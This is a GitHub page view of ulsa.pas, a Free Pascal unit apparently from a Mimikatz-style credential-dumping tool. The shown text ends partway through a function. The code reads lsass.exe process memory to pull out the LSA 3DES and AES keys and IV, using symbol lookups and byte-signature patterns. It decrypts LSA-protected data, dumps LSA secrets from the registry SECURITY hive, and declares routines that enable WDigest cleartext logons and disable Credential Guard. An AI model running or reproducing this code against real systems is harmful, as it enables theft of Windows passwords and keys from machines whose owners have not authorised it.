-
Notifications
You must be signed in to change notification settings - Fork 67
/
Copy pathulsa.pas
1690 lines (1555 loc) · 64.2 KB
/
ulsa.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
unit uLSA;
{$mode objfpc}{$H+}
interface
uses
windows,Classes, SysUtils,dos,
ucryptoapi,utils,upsapi,umemory,udebug,ntdll,uhandles,jwanative;
function decryptLSA(cbmemory:ulong;encrypted:array of byte;var decrypted:tbytes):boolean;
function encryptLSA(cbmemory:ulong;decrypted:array of byte;var encrypted:tbytes):boolean;
function findlsakeys(pid:dword;var DesKey,aeskey,iv:tbytes):boolean;
function NtCreateProcessEx(ProcessHandle : PHANDLE;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: POBJECT_ATTRIBUTES;
InheritFromProcessHandle: DWORD;
InheritHandles: DWORD;
SectionHandle: DWORD;
DebugPort: DWORD;
ExceptionPort: DWORD;
dwSaferFlags: DWORD): NTSTATUS; stdcall; external 'ntdll.dll';
function wdigest(pid:dword):boolean;
function wdigest_UseLogonCredential(pid:dword):boolean;
function wdigest_DisableCredGuard(pid:dword):boolean;
function dpapi(pid:dword;save:boolean=false):boolean;
function lsa_get_secret(server:string;key:string;var output:tbytes):boolean;
function lsa_set_secret(const Server, KeyName,Password: string): Boolean;
//function dumpsecret(const syskey:tbyte16;regkey:string;var output:tbytes):boolean;
var
deskey,aeskey,iv:tbytes;
lsass_handle:thandle=thandle(-1);
implementation
type _LUID =record
LowPart:DWORD;
HighPart:LONG;
end;
type
//{$PackRecords 8}
PLSA_UNICODE_STRING=^LSA_UNICODE_STRING;
_LSA_UNICODE_STRING = record
Length: USHORT; //2
MaximumLength: USHORT; //2
{$ifdef CPU64}dummy:dword;{$endif cpu64} //align to 8 bytes
Buffer: PWIDECHAR;
//{$PackRecords default}
end;
LSA_UNICODE_STRING = _LSA_UNICODE_STRING;
type
_LSA_OBJECT_ATTRIBUTES = record
Length: ULONG;
RootDirectory: HANDLE;
ObjectName: PLSA_UNICODE_STRING;
Attributes: ULONG;
SecurityDescriptor: PVOID; // Points to type SECURITY_DESCRIPTOR
SecurityQualityOfService: PVOID; // Points to type SECURITY_QUALITY_OF_SERVICE
end;
LSA_OBJECT_ATTRIBUTES = _LSA_OBJECT_ATTRIBUTES;
type LSA_HANDLE = PVOID;
function _LsaStorePrivateData(PolicyHandle: LSA_HANDLE;
const KeyName: pointer; PrivateData: pointer): NTSTATUS; stdcall;
external 'advapi32.dll' name 'LsaStorePrivateData';
function _LsaRetrievePrivateData(PolicyHandle: LSA_HANDLE;
const KeyName: LSA_UNICODE_STRING; var PrivateData: pointer): NTSTATUS; stdcall;
external 'advapi32.dll' name 'LsaRetrievePrivateData';
function _LsaOpenPolicy(SystemName: PLSA_UNICODE_STRING;
var ObjectAttributes: LSA_OBJECT_ATTRIBUTES; DesiredAccess: ACCESS_MASK;
var PolicyHandle: LSA_HANDLE): NTSTATUS; stdcall;
external 'advapi32.dll' name 'LsaOpenPolicy';
function _LsaClose(ObjectHandle: LSA_HANDLE): NTSTATUS; stdcall;
external 'advapi32.dll' name 'LsaClose';
type _KIWI_MASTERKEY_CACHE_ENTRY =record
Flink:nativeuint;
Blink:nativeuint;
LogonId:_LUID;
KeyUid:GUID;
insertTime:FILETIME; //or LARGE_INTEGER
keySize:ULONG;
key:array [0..127] of byte;
end;
KIWI_MASTERKEY_CACHE_ENTRY=_KIWI_MASTERKEY_CACHE_ENTRY;
PKIWI_MASTERKEY_CACHE_ENTRY=^KIWI_MASTERKEY_CACHE_ENTRY;
{$ifdef CPU64}
type i_logsesslist=record
next:nativeuint;
prev:nativeuint;
usagecount:nativeuint;
this:nativeuint;
luid:nativeuint;
unk1:nativeuint;
//a lsa unicode string
len1:word;
maxlen1:word;
unk2:dword;
usernameptr:nativeuint;
//a lsa unicode string
len2:word;
maxlen2:word;
unk3:dword;
domainptr:nativeuint;
//a lsa unicode string
len3:word;
maxlen3:word;
unk4:dword;
passwordptr:nativeuint; //??
end;
{$endif CPU64}
{$ifdef CPU32}
//works at least on win7 32 bits...
type i_logsesslist=record
next:nativeuint;
prev:nativeuint;
usagecount:nativeuint;
this:nativeuint;
luid:nativeuint;
unk1:nativeuint;
unk2:nativeuint;
unk3:nativeuint;
//minmax1:nativeuint;
len1:word;
maxlen1:word;
usernameptr:nativeuint;
//minmax2:nativeuint;
len2:word;
maxlen2:word;
domainptr:nativeuint;
//minmax3:nativeuint;
len3:word;
maxlen3:word;
passwordptr:nativeuint; //??
end;
{$endif CPU32}
type
_KIWI_HARD_KEY =record
cbSecret:ULONG;
data:array[0..59] of byte // etc...
end;
KIWI_HARD_KEY=_KIWI_HARD_KEY;
_KIWI_BCRYPT_KEY =record
size:ULONG;
tag:array [0..3] of char; // 'MSSK'
type_:ULONG;
unk0:ULONG;
unk1:ULONG;
bits:ULONG;
hardkey:KIWI_HARD_KEY;
end;
KIWI_BCRYPT_KEY=_KIWI_BCRYPT_KEY;
PKIWI_BCRYPT_KEY=^KIWI_BCRYPT_KEY;
_KIWI_BCRYPT_KEY81 =record
size:ulong;
tag:array [0..3] of char; // 'MSSK'
type_:ulong;
unk0:ulong;
unk1:ulong;
unk2:ulong;
unk3:ulong;
unk4:ulong;
unk5:pointer; // before, align in x64
unk6:ulong;
unk7:ulong;
unk8:ulong;
unk9:ulong;
//
hardkey:KIWI_HARD_KEY;
end;
KIWI_BCRYPT_KEY81=_KIWI_BCRYPT_KEY81 ;
PKIWI_BCRYPT_KEY81=^KIWI_BCRYPT_KEY81;
_KIWI_BCRYPT_HANDLE_KEY =record
size:ulong;
tag:array [0..3] of char; // 'UUUR'
hAlgorithm:pointer;
key:pointer; // PKIWI_BCRYPT_KEY81; or PKIWI_BCRYPT_KEY; depending on OS...
unk0:pointer;
end;
KIWI_BCRYPT_HANDLE_KEY=_KIWI_BCRYPT_HANDLE_KEY;
Procedure LsaInitUnicodeString(Var LsaString: LSA_UNICODE_STRING; Const WS: WideString);
Begin
FillChar(LsaString, SizeOf(LsaString), 0);
If WS <> '' Then
Begin
LsaString.Length:=Length(WS) * SizeOf(WideChar);
LsaString.MaximumLength:=LsaString.Length + SizeOf(WideChar);
LsaString.Buffer:=PWideChar(WS);
End;
End;
procedure CreateFromStr (var value:LSA_UNICODE_STRING; st : string);
var
len : Integer;
wst : WideString;
begin
len := Length (st);
Value.Length := len * sizeof (WideChar);
Value.MaximumLength := (len + 1) * sizeof (WideChar);
GetMem (Value.buffer, sizeof (WideChar) * (len + 1));
wst := st;
lstrcpyw (Value.buffer, PWideChar (wst))
end;
function dumpsecret(const syskey:tbyte16;regkey:string;var output:tbytes):boolean;
var
ret:boolean;
cbdata:dword;
data,clearsecret,secret,system_key,key:tbytes; //array[0..1023] of byte;
begin
result:=false;
log('**** dumpsecret ****');
//we should check PolRevision first to decide nt5 vs nt6
//but also PolEKList" vs "PolSecretEncryptionKey
ret:=MyRegQueryValue(HKEY_LOCAL_MACHINE ,pchar('Security\Policy\PolEKList'),pchar(''),data);
if ret then
begin
log('MyRegQueryValue OK',0);
cbdata:=length(data);
log('RegQueryValue OK '+inttostr(cbdata)+' read',0);
log('hardsecret:'+ByteToHexaString (@data[0],cbdata));
//lets decode this encrypted secret stored in the registry
if lsadump_sec_aes256(data,cbdata,nil,@syskey[0]) then
begin
log('lsadump_sec_aes256 OK',0);
//get clearsecret
cbdata := cbdata - PtrUInt(@NT6_HARD_SECRET(Nil^).Secret);
setlength(clearsecret,cbdata);
copymemory(@clearsecret[0],@data[PtrUInt(@NT6_HARD_SECRET(Nil^).Secret)],cbdata);
log('clearsecret:'+ByteToHexaString (clearsecret));
log('SecretSize:'+inttostr(PNT6_CLEAR_SECRET(@clearsecret[0])^.SecretSize)) ;
//retrieve secret field from clearsecret
setlength(secret,PNT6_CLEAR_SECRET(@clearsecret[0])^.SecretSize);
copymemory(@secret[0],@clearsecret[sizeof(dword)*4],length(secret));
log('secret:'+ByteToHexaString (secret));
//_NT6_SYSTEM_KEYS
//only one key supported for now
log('nbKeys:'+inttostr(PNT6_SYSTEM_KEYS(@secret[0])^.nbKeys)) ;
setlength(system_key,1024);
copymemory(@system_key[0],@secret[sizeof(dword)*3+sizeof(guid)],length(secret));
log('KeyId:'+GUIDToString(PNT6_SYSTEM_KEY(@system_key[0])^.KeyId )) ;
setlength(key,PNT6_SYSTEM_KEY(@system_key[0])^.KeySize );
copymemory(@key[0],@system_key[sizeof(dword)*2+sizeof(guid)],length(key));
//log('Key:'+ByteToHexaString(@PNT6_SYSTEM_KEY(@system_key[0])^.Key[0],PNT6_SYSTEM_KEY(@system_key[0])^.KeySize ),1);
log('Key:'+ByteToHexaString(key));
end; //if lsadump_sec_aes256(data,cbdata,nil,@syskey[0]) then
//if we got a system key, lets decrypt a secret stored in the registry
if length(system_key)>0 then
begin
if MyRegQueryValue(HKEY_LOCAL_MACHINE ,pchar('Security\Policy\secrets\'+regkey+'\CurrVal'),pchar(''),data) then
begin
log('MyRegQueryValue OK',0);
cbdata:=length(data);
log('RegQueryValue OK '+inttostr(cbdata)+' read',0);
log('hardsecret:'+ByteToHexaString (@data[0],cbdata));
//at least in nt6 case, we should match the hardsecret blob guid with the key guid...
//lets cheat for now and push the first supposedly system key
//rather we should push the system keyS aka @secrets[0] above
if lsadump_sec_aes256(data,cbdata,@system_key[0],nil) then
begin
log('lsadump_sec_aes256 OK',0);
//get clearsecret
cbdata := cbdata - PtrUInt(@NT6_HARD_SECRET(Nil^).Secret);
setlength(clearsecret,cbdata);
copymemory(@clearsecret[0],@data[PtrUInt(@NT6_HARD_SECRET(Nil^).Secret)],cbdata);
log('clearsecret:'+ByteToHexaString (clearsecret));
log('SecretSize:'+inttostr(PNT6_CLEAR_SECRET(@clearsecret[0])^.SecretSize)) ;
//retrieve secret field from clearsecret
setlength(secret,PNT6_CLEAR_SECRET(@clearsecret[0])^.SecretSize);
copymemory(@secret[0],@clearsecret[sizeof(dword)*4],length(secret));
log('secret:'+ByteToHexaString (secret));
setlength(output,length(secret));
CopyMemory(@output[0],@secret[0],length(secret));
result:=true;
end; //if lsadump_sec_aes256(data,cbdata,@system_key[0],nil) then
end;//MyRegQueryValue
end;//if length(key)>0 then
end //MyRegQueryValue
else log('MyRegQueryValue failed:'+inttostr(getlasterror));
log('**** dumpsecret:'+BoolToStr (result)+' ****');
end;
{
As described in Private Data Object, private data objects include three specialized types:
local, global, and machine. Specialized objects are identified by a prefix in the key name:
"L$" for local objects,"G$" for global objects,and "M$" for machine objects.
Local objects cannot be accessed remotely. Machine objects can be accessed only by the operating system.
}
function lsa_set_secret(const Server, KeyName,Password: string): Boolean;
const
POLICY_GET_PRIVATE_INFORMATION = 4 ;
POLICY_TRUST_ADMIN = 8 ;
POLICY_CREATE_ACCOUNT = 16 ;
POLICY_CREATE_SECRET = 32 ;
POLICY_CREATE_PRIVILEGE = 64 ;
var
oa : LSA_OBJECT_ATTRIBUTES;
hPolicy : LSA_HANDLE;
usServer : LSA_UNICODE_STRING;
usKeyName : LSA_UNICODE_STRING;
usPassWord : LSA_UNICODE_STRING;
Status : NTSTATUS;
begin
ZeroMemory(@oa, sizeof(oa));
oa.Length := sizeof(oa);
try
if server<>'' then
begin
CreateFromStr(usServer, Server);
Status := _LsaOpenPolicy(@usServer, oa, POLICY_CREATE_SECRET, hPolicy);
end
else Status := _LsaOpenPolicy(nil, oa, POLICY_CREATE_SECRET, hPolicy);
if status=ERROR_SUCCESS then
begin
CreateFromStr(usKeyName, KeyName);
CreateFromStr(usPassWord, Password);
Status := _LsaStorePrivateData(hPolicy, @usKeyName, @usPassword);
end;
finally
_LsaClose(hPolicy);
end;
Result := Status=ERROR_SUCCESS;
end;
function lsa_get_secret(server:string;key:string;var output:tbytes):boolean;
const
POLICY_ALL_ACCESS = $00F0FFF;
var
Status: NTSTATUS;
lObjectAttributes: LSA_OBJECT_ATTRIBUTES;
PrivateData,secret:LSA_UNICODE_STRING ;
data:PLSA_UNICODE_STRING =nil;
pol:LSA_HANDLE ;
ustr_server : _LSA_UNICODE_STRING;
begin
result:=false;
log('Server:'+server);
log('Key:'+key);
ZeroMemory(@lObjectAttributes, sizeof(lObjectAttributes));
//writeln('sizeof(lObjectAttributes):'+inttostr(sizeof(lObjectAttributes)));
//writeln('sizeof(LSA_UNICODE_STRING):'+inttostr(sizeof(LSA_UNICODE_STRING))); //{$align 8} needed for x64
if server<>'' then
begin
CreateFromStr (ustr_server,server);
Status := _LsaOpenPolicy(@ustr_server, lObjectAttributes, POLICY_ALL_ACCESS{POLICY_GET_PRIVATE_INFORMATION}{0}, pol);
//ReallocMem (unicode_domain.Buffer, 0);
end
else Status := _LsaOpenPolicy(nil, lObjectAttributes, POLICY_ALL_ACCESS{POLICY_GET_PRIVATE_INFORMATION}{0}, pol);
log('_LsaOpenPolicy ok');
if ( status<>ERROR_SUCCESS ) then
begin
log('LsaOpenPolicy error:'+inttohex(status,sizeof(status)),1);
exit;
end;
CreateFromStr(secret,key);
CreateFromStr(PrivateData,'password');
try
status:=_LsaRetrievePrivateData(pol,secret,data); //works in 32 bits
//status:=LsaStorePrivateData(pol,@secret,@PrivateData); //works in 32bits
log('LsaRetrievePrivateData ok');
except
on e:exception do log('LsaRetrievePrivateData:'+e.Message )
end;
if ( status<>ERROR_SUCCESS ) then
begin
//C0020023 RPC_NT_INVALID_BOUND
//c0030005 RPC_NT_SS_CONTEXT_MISMATCH
//C0030009 RPC_NT_NULL_REF_POINTER
//C000000D STATUS_INVALID_PARAMETER from ntstatus.h file
log('LsaRetrievePrivateData error:'+inttohex(status,sizeof(status)),1);
exit;
end
else
begin
log('data^.Length:'+inttostr(data^.Length));
if ( data<>nil) and (data^.Buffer <>nil) and (data^.Length>0 ) then
begin
log(strpas(data^.buffer),0);
SetLength(output ,data^.Length);
CopyMemory(@output [0],data^.Buffer,data^.Length) ;
result:=true;
end
else log('no data',0);
end;
status:=_LsaClose(pol);
log('_LsaClose ok');
if ( status<>ERROR_SUCCESS ) then
begin
log('_LsaClose error:'+inttohex(status,sizeof(status)),1);
exit;
end;
end;
//using bcrypt functions
function encryptLSA(cbmemory:ulong;decrypted:array of byte;var encrypted:tbytes):boolean;
const
BCRYPT_AES_ALGORITHM = 'AES';
BCRYPT_3DES_ALGORITHM = '3DES';
var
cbIV,i:ulong;
status:ntstatus;
tempiv:tbytes;
begin
log('**** encryptLSA ****');
//fillchar(decrypted,sizeof(decrypted),0); //will nullify the array?
setlength(encrypted,length(decrypted));
for i:=0 to length(encrypted)-1 do encrypted[i]:=0;
if (cbMemory mod 8)<>0 then //multiple of 8
begin
//hKey = &kAes.hKey;
cbIV := sizeof(iv);
log('cbmemory:'+inttostr(cbmemory));
log('aes decrypted:'+ByteToHexaString (decrypted));
setlength(tempiv,length(iv));
copymemory(@tempiv[0],@iv[0],length(tempiv));
if bencrypt(BCRYPT_AES_ALGORITHM,decrypted,@encrypted[0],aeskey,tempiv)>0 then result:=true;
end
else
begin
//hKey = &k3Des.hKey;
cbIV := sizeof(iv) div 2;
log('cbmemory:'+inttostr(cbmemory));
log('des decrypted:'+ByteToHexaString (decrypted));
setlength(tempiv,length(iv));
copymemory(@tempiv[0],@iv[0],length(tempiv));
if bencrypt(BCRYPT_3DES_ALGORITHM,decrypted,@encrypted[0],deskey,tempiv)>0 then result:=true;
end;
end;
//using bcrypt functions
function decryptLSA(cbmemory:ulong;encrypted:array of byte;var decrypted:tbytes):boolean;
const
BCRYPT_AES_ALGORITHM = 'AES';
BCRYPT_3DES_ALGORITHM = '3DES';
var
cbIV,i:ulong;
status:ntstatus;
tempiv:tbytes;
len:ulong;
buffer:array of byte;
begin
log('**** decryptLSA ****');
log('length(decrypted):'+inttostr(length(decrypted)));
//fillchar(decrypted,sizeof(decrypted),0); //will nullify the array?
if length(decrypted)>0 then for i:=0 to length(decrypted)-1 do decrypted[i]:=0;
//
setlength(buffer,cbmemory );
CopyMemory (@buffer[0],@encrypted [0],cbmemory );
//
if (cbMemory mod 8)<>0 then //multiple of 8
begin
//hKey = &kAes.hKey;
cbIV := sizeof(iv);
log('cbmemory:'+inttostr(cbmemory));
log('aes encrypted:'+ByteToHexaString (buffer));
setlength(tempiv,length(iv));
copymemory(@tempiv[0],@iv[0],length(tempiv));
len:= bdecrypt(BCRYPT_AES_ALGORITHM,buffer,@decrypted[0],aeskey,tempiv);
//if len<length(decrypted) then setlength(decrypted,len);
result:=len>0;
end
else
begin
//hKey = &k3Des.hKey;
cbIV := sizeof(iv) div 2;
log('cbmemory:'+inttostr(cbmemory));
log('des encrypted:'+ByteToHexaString (buffer));
setlength(tempiv,length(iv));
copymemory(@tempiv[0],@iv[0],length(tempiv));
len:= bdecrypt(BCRYPT_3DES_ALGORITHM,buffer,@decrypted[0],deskey,tempiv);
//if len<length(decrypted) then setlength(decrypted,len);
result:=len>0;
end;
//log('length(decrypted):'+inttostr(length(decrypted)));
//log('decrypted:'+ByteToHexaString (decrypted ));
end;
function extractlsakeys(pid:dword;ivOffset,desOffset,aesOffset:int64;var DesKey,aeskey,iv:tbytes):boolean;
var
hprocess:thandle;
keyPointer:nativeuint;
h3DesKey, hAesKey:KIWI_BCRYPT_HANDLE_KEY;
extracted3DesKey, extractedAesKey:KIWI_BCRYPT_KEY;
extracted3DesKey81, extractedAesKey81:KIWI_BCRYPT_KEY81;
begin
log('**** extractlsakeys ****');
result:=false;
//
hprocess:=openprocess( PROCESS_VM_READ {or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_QUERY_INFORMATION},
false,pid);
//IV
setlength(iv,16);
if ReadMem(hprocess, ivoffset, @iv[0], 16)=false then begin log('cannot read memory');exit; end;
log('IV:'+ByteToHexaString (IV));
//
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
if ReadMem(hprocess, desOffset, @keyPointer, sizeof(keyPointer))=false then writeln('readmem=false');
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
if ReadMem(hprocess, keyPointer, @h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY))=false then writeln('readmem=false');
log('TAG:'+strpas(h3DesKey.tag ));
// Read in the 3DES key
log('DES:');
if (winver='6.3.9600') or (copy(winver,1,3)='10.') or (copy(winver,1,3)='11.') then
begin
if ReadMem(hprocess, nativeuint(h3DesKey.key), @extracted3DesKey81, sizeof(KIWI_BCRYPT_KEY81))=false then writeln('readmem=false');
log('BCRYPT_KEY81TAG:'+strpas(extracted3DesKey81.tag ));
setlength(DesKey ,extracted3DesKey81.hardkey.cbSecret);
copymemory(@DesKey [0],@extracted3DesKey81.hardkey.data[0],extracted3DesKey81.hardkey.cbSecret);
log('DESKey:'+ByteToHexaString(deskey));
end
else
begin
if ReadMem(hprocess, nativeuint(h3DesKey.key), @extracted3DesKey, sizeof(KIWI_BCRYPT_KEY))=false then writeln('readmem=false');
log('KIWI_BCRYPT_KEY:'+strpas(extracted3DesKey.tag ));
setlength(DesKey ,extracted3DesKey.hardkey.cbSecret);
copymemory(@DesKey [0],@extracted3DesKey.hardkey.data[0],extracted3DesKey.hardkey.cbSecret);
log('DESKey:'+ByteToHexaString(deskey));
end;
//
// Retrieve pointer to h3AesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadMem(hprocess, aesOffset, @keyPointer, sizeof(nativeuint));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadMem(hprocess, keyPointer, @hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
log('AES:');
if (winver='6.3.9600') or (copy(winver,1,3)='10.') or (copy(winver,1,3)='11.') then
begin
if ReadMem(hprocess, nativeuint(hAesKey.key), @extractedAesKey81, sizeof(KIWI_BCRYPT_KEY81))=false then writeln('readmem=false');
log('BCRYPT_KEY81TAG:'+strpas(extracted3DesKey81.tag ));
setlength(aesKey ,extractedAesKey81.hardkey.cbSecret);
copymemory(@aesKey [0],@extractedAesKey81.hardkey.data[0],extractedAesKey81.hardkey.cbSecret);
log('AESKey:'+ByteToHexaString(aesKey));
end
else
begin
ReadMem(hprocess, nativeuint(hAesKey.key), @extractedAesKey, sizeof(KIWI_BCRYPT_KEY));
log('BCRYPT_KEYTAG:'+strpas(extractedAesKey.tag ));
setlength(aesKey ,extractedAesKey.hardkey.cbSecret);
copymemory(@aesKey [0],@extractedAesKey.hardkey.data[0],extractedAesKey.hardkey.cbSecret);
log('AESKey:'+ByteToHexaString(aesKey));
end;
//
CloseHandle(hprocess);
//
result:=true;
end;
function findlsakeys_sym(pid:dword;var DesKey,aeskey,iv:tbytes):boolean;
var
module:string='lsasrv.dll';
ivOffset,desOffset,aesOffset:nativeuint; //int64;
hmod:thandle;
begin
log('**** findlsakeys_sym ****');
result:=false;
ivOffset:=0;desOffset:=0;aesOffset:=0;
try
if _SymFromName (strpas(sysdir)+'\'+module,'InitializationVector',ivOffset)
then
begin
log('_SymFromName:'+inttohex(ivOffset,sizeof(ivOffset)));
end
else log('_SymFromName:failed');
if _SymFromName (strpas(sysdir)+'\'+module,'h3DesKey',desOffset)
then
begin
log('_SymFromName:'+inttohex(desOffset,sizeof(desOffset)));
end
else log('_SymFromName:failed');
if _SymFromName (strpas(sysdir)+'\'+module,'hAesKey',aesOffset)
then
begin
log('_SymFromName:'+inttohex(aesOffset,sizeof(aesOffset)));
end
else log('_SymFromName:failed');
except
on e:exception do log(e.Message );
end;
if (ivOffset=0) or (desOffset=0) or (aesOffset=0) then exit;
//relative offset to virtual relative offset
//might be easier to simply call loadlibrary and add base address to the relative offset...
//rather than caller search_module_mem
hmod:=LoadLibrary (pchar(module));
ivoffset:=hmod+ivoffset;
desOffset:=hmod+desOffset;
aesOffset:=hmod+aesOffset;
log('ivoffset:'+inttohex(ivoffset,sizeof(nativeint)));
log('desOffset:'+inttohex(desOffset,sizeof(nativeint)));
log('aesOffset:'+inttohex(aesOffset,sizeof(nativeint)));
freelibrary(hmod);
//
result:=extractlsakeys (pid,ivOffset,desOffset ,aesOffset,deskey,aeskey,iv);
end;
function callback2(param:pointer=nil):dword;stdcall;
var
lpszProcess : PChar;
size:dword;
h:thandle;
begin
//log('callback');
//do something with duplicatedobject ...
//log('param:'+inttohex(nativeuint(param),sizeof(param)));
if param=nil then exit;
h:=thandle(param^);
//log('handle:'+inttohex(h,sizeof(thandle)));
//it should be the responsibility of the callback to close the duplicated handle
lpszProcess := AllocMem(MAX_PATH);
size:=MAX_PATH;
if QueryFullProcessImageNameA(h,0,lpszProcess ,@size)=true then
begin
log(strpas(lpszProcess));
if pos('lsass.exe',strpas(lpszProcess))>0
then lsass_handle:=h
else if h<>thandle(-1) then closehandle(h);
end
else
begin
log('QueryFullProcessImageNameA NOK,'+inttostr(getlasterror));
if h<>thandle(-1) then closehandle(h);
end
end; //function callback(param:thandle):dword;stdcall;
//dd lsasrv!LsaInitializeProtectedMemory
//dd lsasrv!h3DesKey
//dd lsasrv!hAesKey
//dd lsasrv!InitializationVector
function findlsakeys(pid:dword;var DesKey,aeskey,iv:tbytes):boolean;
const
//win7
PTRN_WNO8_LsaInitializeProtectedMemory_KEY:array[0..12] of byte= ($83, $64, $24, $30, $00, $44, $8b, $4c, $24, $48, $48, $8b, $0d);
PTRN_WIN8_LsaInitializeProtectedMemory_KEY:array[0..11] of byte= ($83, $64, $24, $30, $00, $44, $8b, $4d, $d8, $48, $8b, $0d);
//KULL_M_WIN_BUILD_8, {sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY), PTRN_WIN8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {62, -70, 23}},
PTRN_WN10_LsaInitializeProtectedMemory_KEY:array[0..15] of byte= ($83, $64, $24, $30, $00, $48, $8d, $45, $e0, $44, $8b, $4d, $d8, $48, $8d, $15);
PTRN_WALL_LsaInitializeProtectedMemory_KEY_X86:array[0..4] of byte= ($6a, $02, $6a, $10, $68);
var
module:string='lsasrv.dll';
pattern:array of byte;
IV_OFFSET:ShortInt=0 ; //signed byte
DES_OFFSET:ShortInt=0 ; //signed byte
AES_OFFSET:ShortInt=0 ; //signed byte
hmod:thandle=0;
MODINFO: MODULEINFO;
keySigOffset:nativeuint;
hprocess:thandle=-1;
hprocess2:thandle=-1;
hmods:array[0..1023] of thandle;
cbneeded,count:dword;
szModName:array[0..254] of char;
dummy:string;
lsasrvMem:nativeuint;
ivOffset,desOffset,aesOffset,keyPointer:nativeuint;
h3DesKey, hAesKey:KIWI_BCRYPT_HANDLE_KEY;
extracted3DesKey, extractedAesKey:KIWI_BCRYPT_KEY;
extracted3DesKey81, extractedAesKey81:KIWI_BCRYPT_KEY81;
//extracted3DesKey:pointer;
i:byte;
objectTypeInfo:pointer;
status:ntstatus;
dwSize :DWORD;
oa:TObjectAttributes;
cid:CLIENT_ID ;
clone: thandle;
lib2:integer;
begin
log('**** findlsakeys ****');
result:=false;
(*
//mio
log('mio',1);
lib2:=loadlibrary('ntdll.dll');
hprocess:=openprocess(PROCESS_CREATE_PROCESS, False, pid);
writeln('[+] Process Handle: '+hprocess.ToString());
if hprocess<>thandle(-1) then
begin
writeln('opened hprocess');
ZeroMemory(@clone,sizeof(clone));
writeln('zeromemory ok');
status := NtCreateProcessEx(@clone,PROCESS_ALL_ACCESS,nil,hprocess,0,0,0,0,0);
write('cloned to handle: ');
writeln(clone);
end
else begin
writeln('failed ntcreateprocess ulsa');
exit;
end;
//mio
*)
//if symmode =true then begin result:=findlsakeys_sym (clone,DesKey ,aeskey ,iv);exit;end;
if symmode =true then begin result:=findlsakeys_sym (pid,DesKey ,aeskey ,iv);exit;end;
writeln('_sym');
// OS detection
if lowercase(osarch) ='x86' then
begin
setlength(pattern,5);
CopyMemory(@pattern[0],@PTRN_WALL_LsaInitializeProtectedMemory_KEY_X86[0],5);
